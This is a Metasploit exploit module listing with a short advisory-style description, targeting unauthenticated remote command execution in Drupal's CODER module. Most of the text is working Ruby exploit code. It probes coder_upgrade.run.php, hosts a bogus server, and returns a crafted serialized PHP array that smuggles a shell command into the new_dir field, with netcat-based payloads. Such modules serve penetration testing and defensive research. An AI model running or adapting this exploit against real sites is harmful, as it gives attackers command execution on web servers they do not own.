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Drupal CODER Module Remote Command Execution

Drupal CODER Module Remote Command Execution
Posted Jul 26, 2016
Authored by Mehmet Ince, Nicky Bloor | Site metasploit.com

This Metasploit module exploits a Remote Command Execution vulnerability in Drupal CODER Module. Unauthenticated users can execute arbitrary command under the context of the web server user. CODER module doesn't sufficiently validate user inputs in a script file that has the php extension. A malicious unauthenticated user can make requests directly to this file to execute arbitrary command. The module does not need to be enabled for this to be exploited This Metasploit module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.

tags | exploit, remote, web, arbitrary, php
systems | linux, ubuntu
SHA-256 | c2f68a1f88f2debe64ed7c3bfc2c1d55da4a489cfb8fa21f908ddcc48debacb0

Drupal CODER Module Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info={})
super(update_info(info,
'Name' => 'Drupal CODER Module Remote Command Execution',
'Description' => %q{
This module exploits a Remote Command Execution vulnerability in
Drupal CODER Module. Unauthenticated users can execute arbitrary command
under the context of the web server user.

CODER module doesn't sufficiently validate user inputs in a script file
that has the php extension. A malicious unauthenticated user can make
requests directly to this file to execute arbitrary command.
The module does not need to be enabled for this to be exploited

This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicky Bloor', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765575']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 225,
'DisableNops' => true,
'BadChars' => "\x00\x2f",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat netcat-e'
},
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']),
OptAddress.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']),
OptPort.new('SRVPORT', [true, 'Bogus web server port to listen'])
]
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
)
if res && res.code == 200
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def on_request_uri(cli, _request)
print_status("Incoming request detected...")
p = ''
p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
p << 's:11:"theme_cache";s:16:"theme_cache_test";'
p << 's:9:"variables";s:14:"variables_test";'
p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
p << 's:7:"new_dir";s:'
p << (payload.encoded.length + 14).to_s
p << ':"f --help && '
p << payload.encoded
p << ' #";s:4:"name";s:4:"test";}}}'
print_status("Sending payload...")
send_response(cli, p)
end

def exploit
start_service
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
'encode_params' => false,
'vars_get' => {
'file' => get_uri
}
)
stop_service
end
end

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